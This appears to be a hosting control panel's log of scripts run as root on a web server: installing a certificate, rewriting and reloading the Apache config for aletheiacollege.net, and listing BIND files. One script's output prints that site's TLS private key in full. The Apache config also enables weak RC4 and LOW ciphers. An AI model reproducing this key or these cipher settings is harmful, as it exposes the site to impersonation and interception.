XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-28 06:00:33: 

chmod 755 /tmp/pkp550886; /tmp/pkp550886; rm /tmp/pkp550886

2026-02-28 06:00:33: 


dir=/etc/ssl/certs


2026-02-28 06:00:33: 

PUT: /tmp/pkp872180

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/aletheiacollege_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-28 06:00:33: 

chmod 755 /tmp/pkp872180; /tmp/pkp872180; rm /tmp/pkp872180

2026-02-28 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf 47

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-28 06:00:33: 

PUT: /tmp/pkp770835

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=aletheiacollege_www_net.conf
TARGET=/etc/apache2/sites-enabled/aletheiacollege_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/aletheiacollege_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/aletheiacollege_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf= 1'
fi


2026-02-28 06:00:33: 

chmod 755 /tmp/pkp770835; /tmp/pkp770835; rm /tmp/pkp770835

2026-02-28 06:00:33: 




2026-02-28 06:00:33: 

PUT: /tmp/pkp667056

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-28 06:00:33: 

chmod 755 /tmp/pkp667056; /tmp/pkp667056; rm /tmp/pkp667056

2026-02-28 06:00:33: 


.


2026-02-28 06:00:33: Establishing a connection
2026-02-28 06:00:34: 

PUT: /tmp/pkp600525

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-28 06:00:34: 

chmod 755 /tmp/pkp600525; /tmp/pkp600525; rm /tmp/pkp600525

2026-02-28 06:00:34: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-28 06:00:34: 

PUT: /tmp/pkp356015

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/aletheiacollege_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-28 06:00:34: 

chmod 755 /tmp/pkp356015; /tmp/pkp356015; rm /tmp/pkp356015

2026-02-28 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf	1448

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-28 06:00:34: 

PUT: /tmp/pkp250713

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-28 06:00:34: 

chmod 755 /tmp/pkp250713; /tmp/pkp250713; rm /tmp/pkp250713

2026-02-28 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt	5382
73:53:b8:c7:78:83:4e:63:02:c7:23:58:e0:aa:81:a3

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBlGsSNxaQ4qYyFp5PB2fEYh+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjI4MDUwMjAyWhcNMjYwNTI5MDUwMjAxWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAyWGb5DeDO2V8Pm5Q7gNZ/crJ/O7g+GFXjgcZvUevO7FAIvR8h6wySQ7K
8AYcv+i+ArC3JxP+soQnKD+wA5W14VbbM13VYxD+CKQAKMoMjhZeho++isk2kk40
FuXb6pDftQbA95HPNuccuXr9jWf8PEi/wB6VmBeNi3GXhbhgVpzn88alMyriYtWg
hZDw3ujIyhCsnBQoBmRVG/R1Of6Tauq+8WjRiePA6ddIhZm0yZpLA7VrDiSLoCf6
bDevf9aMh9biHkgBafj1eyBStRqhkQqyWgUPLWPoGlZmx6FJ015GATiNOsO1g0WC
obxgrXDnFlRpvixuv8GjDnoe1IfOOQIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FA50+AwbXLd1fMjxqkCIenpYKdWgMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITYWxldGhlaWFjb2xsZWdlLm5ldIIXd3d3
LmFsZXRoZWlhY29sbGVnZS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0f
BCgwJjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMjcuY3JsMIIBBAYK
KwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDL
FMMUWOcAAAGcotWWUQAABAMARzBFAiBbT4HAROa/WfEWMPp0rEvwRgWCceSI9tLY
Cp1E0YYX/gIhAL547x100mM8+15jj2QEKEt4MFlC2zl8lYC8Na3S6VdHAHYAlpdk
v1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGcotWWOAAABAMARzBFAiAY
HJPwBICfAcfFsfORw012Aby46cWkp0Ap13EfeQU7XwIhAO8odCPHM4KjpprYIl0V
Fmjngc8/p4F5HkevXa3kTHVAMA0GCSqGSIb3DQEBCwUAA4IBAQButPzXDQQ10U61
zuRslKhProYDnmpZacFlobKz4sT7L5KjxHlQfFhE+pruOTnaau4/fwAx6o0dnoEN
+dw2uDOsj4JTyXeoQu8prf7M0gOmnPHzNXxaJ8oWxSfa67BhBXQfcG9edRGoGWNL
28owRi/JC+D627qZSRk19QlV+OgQ7ctjF1GalYdP4dIVrWkZXsZ1Wr47X1DsCCtP
GNcfDCuA5vN46WNzbjJ3kFwWXcqBtXaIFzrr83OwCGmzTrdeZLijwoRKzF6hY7y5
FUeeA3jvS6QJz/ymXlNeIfseHlHjoi2u+f588saXJT53VU6kS1IcyUpuejQJY5SF
z1oEOgk/
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDJYZvkN4M7ZXw+
blDuA1n9ysn87uD4YVeOBxm9R687sUAi9HyHrDJJDsrwBhy/6L4CsLcnE/6yhCco
P7ADlbXhVtszXdVjEP4IpAAoygyOFl6Gj76KyTaSTjQW5dvqkN+1BsD3kc825xy5
ev2NZ/w8SL/AHpWYF42LcZeFuGBWnOfzxqUzKuJi1aCFkPDe6MjKEKycFCgGZFUb
9HU5/pNq6r7xaNGJ48Dp10iFmbTJmksDtWsOJIugJ/psN69/1oyH1uIeSAFp+PV7
IFK1GqGRCrJaBQ8tY+gaVmbHoUnTXkYBOI06w7WDRYKhvGCtcOcWVGm+LG6/waMO
eh7Uh845AgMBAAECggEAGViMLuKfxUOGKjNnQzWvx2YVGx0Tup9BzlHtdunFT92E
xYGBBPBy2cgfWatjRfIsrBkCzEvTdDN23DV72U+n9ycf6qymNVRHrN27WWbowp9l
IUmJQV2G3U4zdyhSEAlQ5q9lbSNwcagP8PZeYERUtl+vpqYSzPQ17/WJjR6CHZRj
2rSfvI+BKXuIx+Qo/HFRuLzPj/InVz9GOLoyTO2lWXm18xt+RqtfXkGadL8LrsRA
BRdzMIxwGR4o7sRheZ9ilbkWiFf2kEw0CRDc7GGT8daYX6PfnmY8WVdN/3nTjSqN
f1WECeFQpowQNLaq6W/O1Vrux4f26JlsrKB2+6rlqQKBgQDrGjUHsspb0Cpr15vv
R9d/sqwWDckiIdMQFz2+8cLkOcJNXvkgo6USMwMW9D1EuiRPu2Hz6ncecJ8AIkys
8HWhgajfhxvDCE5dgwH6PXi5waKEKAyogPKRH87e0ue6Jo7qLrZxea0XsvI5oSjl
3befrk/kurhRFSDcn+hdiN6x7QKBgQDbSBKuFZ8WVPKcfz/yQVI9GB8K8rv0NJcP
C/6DSUZGRXAnjpL3jDR4cZ6edkw1SL1i6p0qwovnM6ejv00/LFTqjiSRN+SByJLD
YVFqYgwB3hH4toRlbHd2LtH5zXhGuavRRA2GnT8SJAnEx9C1supiisz6AS4toe14
0y7+ygbz/QKBgQC+NerXuqiMFeRscfnAY1CQCV+/TBIB4nngF92mAfXbLnvsmz1W
Ue/4xHrodFypoSxFseYzMOyFHTsXIakFdlrFe6DEkIw+hBbbA2ZzLo7hQy+YWsq6
/fDCx4hYsSw4aH/SKk8Dih0oAmiFhcUQDQ1GTQJonUUInN6EgX+/RUBflQKBgQDR
JZELkXvHJQax1Xz8Zuk1dEhHfPVgGrjplRsPxVfNtnUehZIPoh55soUDxvkw6UwZ
iISXQC+IOXBvcgsPcg0cGq8uAw1j7BZvW+b3fMTPEyw4+HyW8DmQ8186z4skifsj
AbGU7240s0LN+XdLlnaPvqt62J1e0M9bKrHsOm0fUQKBgQCQyYQdnWgZqvgcvSF9
qd+wRp0wExDRBYT2JIxTidRuu8YKiFcrSsAZHLpAntGir15GIUu4w4T5o8sYzqPd
nFkIEuKPX14lcg1XK7JCPdp7tgccDL3aBqIZgW1cIkpWtj6aN8d5veJGn22pHW3z
8Q+Eit3qiGycGDu6Upxae/yIBw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-28 13:32:07: Establishing a connection
2026-02-28 13:32:25: Establishing a connection
2026-02-28 13:32:25: 

PUT: /tmp/pkp596451

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-28 13:32:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp596451; rm /tmp/pkp596451'

2026-02-28 13:32:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
